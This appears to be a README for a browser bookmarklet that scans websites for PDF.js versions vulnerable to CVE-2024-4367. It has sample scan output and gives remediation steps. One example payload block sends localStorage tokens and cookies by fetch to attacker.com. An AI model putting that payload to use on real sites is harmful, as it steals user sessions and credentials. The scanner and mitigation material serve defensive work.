javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 打开任何网站并运行脚本

┌─────────────────────────────────────────────────────────────┐
│                    扫描流程                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 加载脚本                                              │
│     ├─ 外部脚本（所有 <script src="">）                      │
│     └─ 内联脚本（所有 <script> 标签）                        │
│                                                             │
│  2. 🔍 提取 PDF.js 版本                                      │
│     ├─ 代码中的模式匹配                                      │
│     ├─ 检测 Package.json                                     │
│     └─ 解析 Node_modules 路径                                │
│                                                             │
│  3. 🎯 识别漏洞                                              │
│     ├─ 版本 < 4.2.67 ? → 存在漏洞                           │
│     └─ 版本 = 2.16.105 ? → 存在漏洞                         │
│                                                             │
│  4. 🖼️ 定位查看器                                            │
│     ├─ DOM 元素扫描                                          │
│     └─ 属性检测                                              │
│                                                             │
│  5. ⚡ 生成 PoC                                              │
│     ├─ 创建测试 PDF                                          │
│     └─ 提供下载链接                                          │
│                                                             │
│  6. 📊 显示结果                                              │
│     ├─ 可视覆盖层                                            │
│     ├─ 控制台报告                                            │
│     └─ 全局变量存储                                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘

╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - 通用 PDF.js 扫描器                               ║
║              检测存在漏洞的 PDF.js 版本及潜在攻击方式                                 ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 阶段 1：扫描 JavaScript 包以查找 PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 发现 42 个外部脚本
[+] 发现 12 个内联脚本
   [1/42] 分析中: vendor.bundle.js
      → 发现 PDF.js 指示符: pdfjs-dist
      ✅ 找到 PDF.js 版本: 2.16.105
      🚨 存在 CVE-2024-4367 漏洞！

🎯 阶段 4：识别攻击向量
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ URL 参数接受 PDF: file=/documents/report.pdf
   ⚠️ 发现 PDF 上传表单

█████████████████████████████████████████████████████████████████████████████████
                          最终扫描报告
█████████████████████████████████████████████████████████████████████████████████

🚨 确认存在严重漏洞！
   CVE: CVE-2024-4367
   CVSS: 9.8（严重）
   影响：任意 JavaScript 执行

┌─────────────────────────────────────────────────────────────┐
│  CVE-2024-4367 扫描结果                                     │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 目标: example.com                                      │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 存在漏洞: 是                                            │
│  📄 查看器: 3                                               │
│  ⚡ 攻击向量: 2                                             │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 严重 - 需要升级                                        │
└─────────────────────────────────────────────────────────────┘

# 对于 Node.js 项目
npm install pdfjs-dist@latest

# 对于 CDN 使用
# 更新到 4.2.67 或更高版本

// 在加载 PDF.js 之前设置
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

// 在渲染前验证 PDF 文件
function validatePDF(file) {
    // 检查魔数
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('无效的 PDF 文件');
    }
    
    // 扫描 JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDF 包含 JavaScript');
    }
}

// PDF 嵌入的 JavaScript
this.alert('CVE-2024-4367 已被利用！');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

// 存在漏洞的版本
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: '严重' },
    { version: '3.x.x', status: '严重' },
    { version: '4.0.x - 4.2.66', status: '严重' }
];

// 安全版本
const SAFE_VERSION = '4.2.67';

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 进行您的更改
# 在多个网站上测试
# 提交 PR